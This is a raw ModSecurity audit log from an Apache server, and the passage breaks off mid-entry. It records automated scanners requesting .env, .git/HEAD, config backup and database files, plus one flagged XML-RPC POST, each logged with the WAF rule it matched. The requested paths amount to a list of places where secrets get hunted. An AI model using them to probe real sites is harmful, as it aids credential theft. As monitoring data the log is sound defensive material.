(Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --09be5d22-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=8ff36dd2068b8f26dc5794b91ebeb20c1750026965; expires=Sun, 15 Jun 2025 23:36:05 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --09be5d22-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/production/.env"] [unique_id "aE9K1FR6EeXjkGzEkblr5QAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026964472895 745780 (- - -) Stopwatch2: 1750026964472895 745780; combined=1724, p1=413, p2=1215, p3=0, p4=0, p5=95, sr=109, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --09be5d22-Z-- --ccb1e007-A-- [16/Jun/2025:04:06:07.302537 +0530] aE9K1n2GhYywD7zZgx4BPgAAAAM 185.177.72.210 43472 127.0.0.1 7081 --ccb1e007-B-- GET /:8880/example/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ccb1e007-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=6d49851606588c2d8851d874a90a416c1750026967; expires=Sun, 15 Jun 2025 23:36:07 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ccb1e007-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/example/.env"] [unique_id "aE9K1n2GhYywD7zZgx4BPgAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026966622310 680290 (- - -) Stopwatch2: 1750026966622310 680290; combined=1866, p1=400, p2=1370, p3=0, p4=0, p5=96, sr=110, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ccb1e007-Z-- --61365654-A-- [16/Jun/2025:04:06:08.326972 +0530] aE9K1-B8H_qdtV-ppzUVFwAAAAI 185.177.72.210 43542 127.0.0.1 7081 --61365654-B-- GET /logs.mdb HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --61365654-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=9c13c9d98961310c48433eed216051851750026968; expires=Sun, 15 Jun 2025 23:36:08 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --61365654-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".mdb"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".mdb"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/logs.mdb"] [unique_id "aE9K1-B8H_qdtV-ppzUVFwAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026967652637 674408 (- - -) Stopwatch2: 1750026967652637 674408; combined=1658, p1=323, p2=1230, p3=0, p4=0, p5=104, sr=91, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --61365654-Z-- --1ea68e25-A-- [16/Jun/2025:04:06:10.368640 +0530] aE9K2VxTdrwJSUMoZvGxdAAAAAc 185.177.72.210 39580 127.0.0.1 7081 --1ea68e25-B-- GET /adminer/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --1ea68e25-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ca32b17eaec12aceda13a2225abdcbb41750026970; expires=Sun, 15 Jun 2025 23:36:10 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --1ea68e25-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/adminer/.env"] [unique_id "aE9K2VxTdrwJSUMoZvGxdAAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026969710211 658492 (- - -) Stopwatch2: 1750026969710211 658492; combined=1908, p1=376, p2=1440, p3=0, p4=0, p5=92, sr=90, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1ea68e25-Z-- --96536644-A-- [16/Jun/2025:04:06:18.752471 +0530] aE9K4n2GhYywD7zZgx4BQwAAAAM 185.177.72.210 39916 127.0.0.1 7081 --96536644-B-- GET /.config HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --96536644-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=8c19a7526b65e2142e7861f9d6cc1f3e1750026978; expires=Sun, 15 Jun 2025 23:36:18 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --96536644-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".config"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".config"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/.config"] [unique_id "aE9K4n2GhYywD7zZgx4BQwAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026978075002 677532 (- - -) Stopwatch2: 1750026978075002 677532; combined=2189, p1=381, p2=1704, p3=0, p4=0, p5=104, sr=101, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --96536644-Z-- --4848773b-A-- [16/Jun/2025:04:06:29.264217 +0530] aE9K7H2GhYywD7zZgx4BSAAAAAM 185.177.72.210 54620 127.0.0.1 7081 --4848773b-B-- GET /:8880/.c9/metadata/ambienzinhoironment/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --4848773b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=2e5d5d4dc9afb263befe239cd6569a311750026989; expires=Sun, 15 Jun 2025 23:36:29 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --4848773b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/.c9/metadata/ambienzinhoironment/.env"] [unique_id "aE9K7H2GhYywD7zZgx4BSAAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026988590488 673791 (- - -) Stopwatch2: 1750026988590488 673791; combined=2420, p1=378, p2=1943, p3=0, p4=0, p5=98, sr=98, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4848773b-Z-- --2a45103a-A-- [16/Jun/2025:04:06:33.339676 +0530] aE9K8B-kH31pk4mNbsVF_gAAAAo 185.177.72.210 49852 127.0.0.1 7081 --2a45103a-B-- GET /:8880/storage/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --2a45103a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=76bc7e2a7c511cb45e77fa7963c9fcfb1750026993; expires=Sun, 15 Jun 2025 23:36:33 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --2a45103a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/storage/.env"] [unique_id "aE9K8B-kH31pk4mNbsVF_gAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026992642647 697091 (- - -) Stopwatch2: 1750026992642647 697091; combined=1999, p1=403, p2=1501, p3=0, p4=0, p5=94, sr=95, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2a45103a-Z-- --521ac733-A-- [16/Jun/2025:04:06:38.446787 +0530] aE9K9X2GhYywD7zZgx4BTAAAAAM 185.177.72.210 50114 127.0.0.1 7081 --521ac733-B-- GET /config.php.bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --521ac733-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=11f55c7ee43355a73318e6ded87fcbe81750026998; expires=Sun, 15 Jun 2025 23:36:38 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --521ac733-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/config.php.bak"] [unique_id "aE9K9X2GhYywD7zZgx4BTAAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026997791458 655417 (- - -) Stopwatch2: 1750026997791458 655417; combined=1945, p1=348, p2=1470, p3=0, p4=0, p5=126, sr=91, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --521ac733-Z-- --3654f347-A-- [16/Jun/2025:04:06:53.574191 +0530] aE9LBLIOonfcVDbK8_bsHQAAAAA 185.177.72.210 41022 127.0.0.1 7081 --3654f347-B-- GET /:8443/api/.env.production HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3654f347-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b9ee85e28817d6c4b7d15abb89dd4cb11750027013; expires=Sun, 15 Jun 2025 23:36:53 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3654f347-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/api/.env.production"] [unique_id "aE9LBLIOonfcVDbK8_bsHQAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027012878892 695363 (- - -) Stopwatch2: 1750027012878892 695363; combined=1776, p1=390, p2=1290, p3=0, p4=0, p5=95, sr=82, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3654f347-Z-- --75a5e857-A-- [16/Jun/2025:04:06:58.247562 +0530] aE9LCX2GhYywD7zZgx4BVAAAAAM 185.177.72.210 41172 127.0.0.1 7081 --75a5e857-B-- GET /strapi/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --75a5e857-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=bc799e356688e150a835709a8d2e680d1750027018; expires=Sun, 15 Jun 2025 23:36:58 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --75a5e857-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/strapi/.env"] [unique_id "aE9LCX2GhYywD7zZgx4BVAAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027017585825 661811 (- - -) Stopwatch2: 1750027017585825 661811; combined=1632, p1=347, p2=1170, p3=0, p4=0, p5=114, sr=83, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --75a5e857-Z-- --162dff52-A-- [16/Jun/2025:04:07:02.819810 +0530] aE9LDn2GhYywD7zZgx4BVgAAAAM 185.177.72.210 51116 127.0.0.1 7081 --162dff52-B-- GET /:8008/app/configurationtion/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --162dff52-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=8086b7536afe03b8a9145358276bf2f51750027022; expires=Sun, 15 Jun 2025 23:37:02 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --162dff52-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/app/configurationtion/.env"] [unique_id "aE9LDn2GhYywD7zZgx4BVgAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027022074804 745069 (- - -) Stopwatch2: 1750027022074804 745069; combined=1934, p1=373, p2=1467, p3=0, p4=0, p5=93, sr=87, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --162dff52-Z-- --5d08c839-A-- [16/Jun/2025:04:07:04.152116 +0530] aE9LDxAGYpjnkyifC9YnYQAAAAU 128.199.112.101 51162 127.0.0.1 7081 --5d08c839-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 500 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --5d08c839-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --5d08c839-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9LDxAGYpjnkyifC9YnYQAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027023205581 946592 (- - -) Stopwatch2: 1750027023205581 946592; combined=2482, p1=361, p2=1711, p3=47, p4=65, p5=184, sr=92, sw=114, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5d08c839-Z-- --f708bf43-A-- [16/Jun/2025:04:07:22.646278 +0530] aE9LIh-kH31pk4mNbsVGFQAAAAo 185.177.72.144 42328 127.0.0.1 7080 --f708bf43-B-- GET /.git/HEAD HTTP/1.0 Host: zen-noether.198-71-51-75.plesk.page X-Real-IP: 185.177.72.144 Connection: close Accept-Encoding: gzip --f708bf43-F-- HTTP/1.1 404 Not Found Content-Length: 281 Connection: close Content-Type: text/html; charset=iso-8859-1 --f708bf43-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "zen-noether.198-71-51-75.plesk.page"] [uri "/.git/HEAD"] [unique_id "aE9LIh-kH31pk4mNbsVGFQAAAAo"] Stopwatch: 1750027042643272 3051 (- - -) Stopwatch2: 1750027042643272 3051; combined=1849, p1=399, p2=1339, p3=23, p4=29, p5=59, sr=122, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f708bf43-Z-- --9e78e449-A-- [16/Jun/2025:04:07:23.463313 +0530] aE9LI1xTdrwJSUMoZvGxlwAAAAc 185.177.72.144 42372 127.0.0.1 7080 --9e78e449-B-- GET /.env HTTP/1.0 Host: zen-noether.198-71-51-75.plesk.page X-Real-IP: 185.177.72.144 Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --9e78e449-F-- HTTP/1.1 404 Not Found Content-Length: 281 Connection: close Content-Type: text/html; charset=iso-8859-1 --9e78e449-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "zen-noether.198-71-51-75.plesk.page"] [uri "/.env"] [unique_id "aE9LI1xTdrwJSUMoZvGxlwAAAAc"] Stopwatch: 1750027043460077 3292 (- - -) Stopwatch2: 1750027043460077 3292; combined=2011, p1=402, p2=1504, p3=22, p4=28, p5=55, sr=122, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9e78e449-Z-- --ab610e7c-A-- [16/Jun/2025:04:07:23.576889 +0530] aE9LIxAGYpjnkyifC9YnawAAAAU 185.177.72.144 42386 127.0.0.1 7080 --ab610e7c-B-- GET /.env.bak HTTP/1.0 Host: 